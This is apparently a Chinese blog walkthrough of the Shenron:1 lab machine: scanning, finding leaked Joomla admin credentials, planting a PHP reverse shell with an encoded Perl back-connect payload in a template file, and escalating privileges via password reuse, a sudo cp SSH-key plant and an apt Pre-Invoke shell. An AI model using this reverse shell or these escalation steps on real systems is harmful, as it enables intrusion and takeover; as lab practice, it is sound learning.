Back
Featured image of post 打靶记录-Shenron:1

打靶记录-Shenron:1

上周的靶机打到一半,发现登陆认证日志(auth.log)包含无法实现,原因是高版本的Linux自带的SSH增加了对连接用户名的限制,尝试各种方法后未能解决,因此换了台靶机。

这次是Shenron系列的第一台,简单难度

环境

虚拟机软件:VirtualBox 7.0.18
网络连接模式:NAT网络
攻击机:kali-linux,ip为10.0.2.4
目标机:ip为10.0.2.8

渗透过程

发现目标主机后扫描全端口:nmap --min-rate 10000 -p- 10.0.2.8

进一步扫描,探测目标服务版本号与操作系统:nmap -sT -sC -sV -O -p22,80 10.0.2.8

SSH版本8.2;web服务中间件为Apache,版本2.4;操作系统为Ubuntu
都是些常规的扫描,不多说了

脚本扫描,查看是否有常见的可利用漏洞:nmap --script=vuln -p22,80 10.0.2.8

枚举出了/test目录,接下来可以去web界面看看这个目录是什么内容

网站进去是Apache默认界面,查看/test目录

显示了目录下的文件信息,说明目标没有关闭Apache下的目录浏览功能

将该文件拉取到本地,方便后续查看:wget http://10.0.2.8/test/password

其中内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
        <title>PASSWORD</title>
</head>
<body>
        <h1>LOTS OF INFORMATION ARE HERE ;-)</h1>
        <h1> You Are Very Near .......</h4>
        <!--
         "All The Best"
         Credentials:- "admin:3iqtzi4RhkWANcu@$pa$$"
         --> 
</body>
</html>

给了我们admin用户的密码,尝试ssh登陆,发现目标不能通过密码连接,只能通过公钥连接

因此,目前ssh连接这一条路是走不通了,暂时也没找到更多信息,开始扫描目录

枚举出了新的目录 joomla,确定模板使用了joomla内容管理系统
访问后跳转界面如下

是个登陆界面,先随便输几个字段看看回显,得到

无论是密码还是用户名出错回显都相同,无法通过枚举得出存在的用户名

用我们之前的到的用户名密码登陆admin账户登陆后,发现只有普通的业务,因此需要找到网站后台目录
Joomla的后台默认目录是/administrator,访问后跳转到后台登陆页面

用之前获得的admin账号密码成功登陆后台

通过System下的information可以获得详细的版本信息

可以看到Jommla版本为3.9.23,去网上看看该版本受哪些漏洞的影响

搜到了CVE-2021-23132,具体复现过程可看这篇 漏洞复现 CVE-2021-23132 Joomla远程代码执行漏洞

由于环境不完全一样,我们登陆进来的后台用户就是超级用户,因此可以直接修改网页文件
修改Beez3模板下的error.php,插入phpinfo

保存后访问http://10.0.2.8/joomla/templates/beez3/error.php,得到回显

写入php反弹shell代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
function which($pr)
{
    $path = execute("which $pr");
    return ($path ? $path : $pr);
}
function execute($cfe)
{
    $res = '';
    if ($cfe) {
        if (function_exists('exec')) {
            @exec($cfe, $res);
            $res = join("\n", $res);
        } elseif (function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
        } elseif (function_exists('system')) {
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($f = @popen($cfe, "r"))) {
            $res = '';
            while (!@feof($f)) {
                $res .= @fread($f, 1024);
            }
            @pclose($f);
        }
    }
    return $res;
}
function cf($fname, $text)
{
    if ($fp = @fopen($fname, 'w')) {
        @fputs($fp, @base64_decode($text));
        @fclose($fp);
    }
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl' => 'perl', 'c' => 'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" .
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" .
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" .
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" .
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" .
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" .
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc', $back_connect);
$res = execute(which('perl') . " /tmp/.bc $yourip $yourport &");

监听端口:nc -lvnp 9999

成功getshell
但此时的shell交互性极差,用python改善下交互性:python3 -c "import pty;pty.spawn('/bin/bash');"

提权

提权shenron

先看看有哪些可提权的用户:cat /etc/passwd | grep "/bin/bash"

除了root以外还有两个用户

四下查找一番,在网页目录里找到了配置文件configuration.php,配置文件中可能会写有用户相关信息

找到了mysql用户jenny的密码,猜测可能存在密码复用,直接提权

提权成功后,来到jenny的目录下,可以找到隐藏的文件夹.ssh

查看当前用户权限:sudo -l

看到我们可以用shenron的身份来执行cp命令,这代表我们可以用cp往shenron用户的文件夹写文件,其中就包括shenron的.ssh文件夹

提权思路:由于我们之前无法用密码登陆ssh,那就只能用公钥登陆。以本地为服务端,将生成的公钥上传到目标机,再用cp命令往shenron的.ssh文件夹中存放公钥,就可直接在本地进行ssh连接shenron(恶补了ssh连接的相关知识)

在本地用户.ssh目录下生成公私钥:ssh-keygen -t [指定算法]
当然也可以用自己原本就有的,我这里就是

.pub为后缀的就是公钥,我们要将公钥上传到目标机器的tmp目录下(tmp目录是所有用户都有权访问的)

在本地用python开一个http服务:python -m http.server
在目标机上用wget将公钥下载过去:wget http://10.0.2.4:8000/id_ed25519.pub

再将公钥内容写入authorized_keys文件(该文件用于存放他人连接的公钥)
最后用cp将该文件拷贝进shenron目录下的.ssh文件夹,这时,我们的攻击机就可以使用公私钥直接ssh连接目标机了

在当前目录下获得第一个flag

提权root

照着之前的思路去找SUID文件与后台任务,没有任何收获,最后尝试找下有没有属于shenron用户的文件,没想到真的有收获:find / -user shenron -type f 2>/dev/null

存放着shenron用户的密码,这样就可以sudo -l查看当前用户的权限了

apt命令,那么很明显就是apt提权了:sudo apt uodate -o APT::Update::Pre-Invoke::="/bin/bash"

  • -o:通过命令行指定配置
  • APT::Update::Pre-Invoke::="/bin/bash":指定在apt调用dpkg之前(Pre-Invoke)运行的shell命令 这台机器就拿下了

总结

学到了很多新东西,中途还去恶补了SSH连接与APT提权相关的知识
就我目前的阶段而言,这是一台很不错的靶机,回顾一下:

  1. 发现无法用密码进行ssh连接目标机器
  2. 通过nmap扫描出test目录,获取网站后台admin的密码
  3. 目录扫描出网站前台,确认使用的CMS是joomla
  4. 进入默认后台路径,登陆后查看版本信息,使用互联网寻找对应版本的漏洞
  5. 通过漏洞反弹shell至本机,成功getshell
  6. python提升shell交互性
  7. 通过mysql配置文件猜测用户jenny存在密码复用,直接提权
  8. jenny拥有shenron身份的cp命令,往shenron的.ssh文件夹写公钥,直接ssh连接
  9. 找到shenron用户的密码,sudo -l查看到apt命令拥有root权限
  10. apt修改配置提权,拿下靶机

其中,APT提权部分的详细原理,我打算放在之后的提权总结里去细讲(等我没那么菜时)
而打靶记录系列我还是会尽量以思路讲解为核心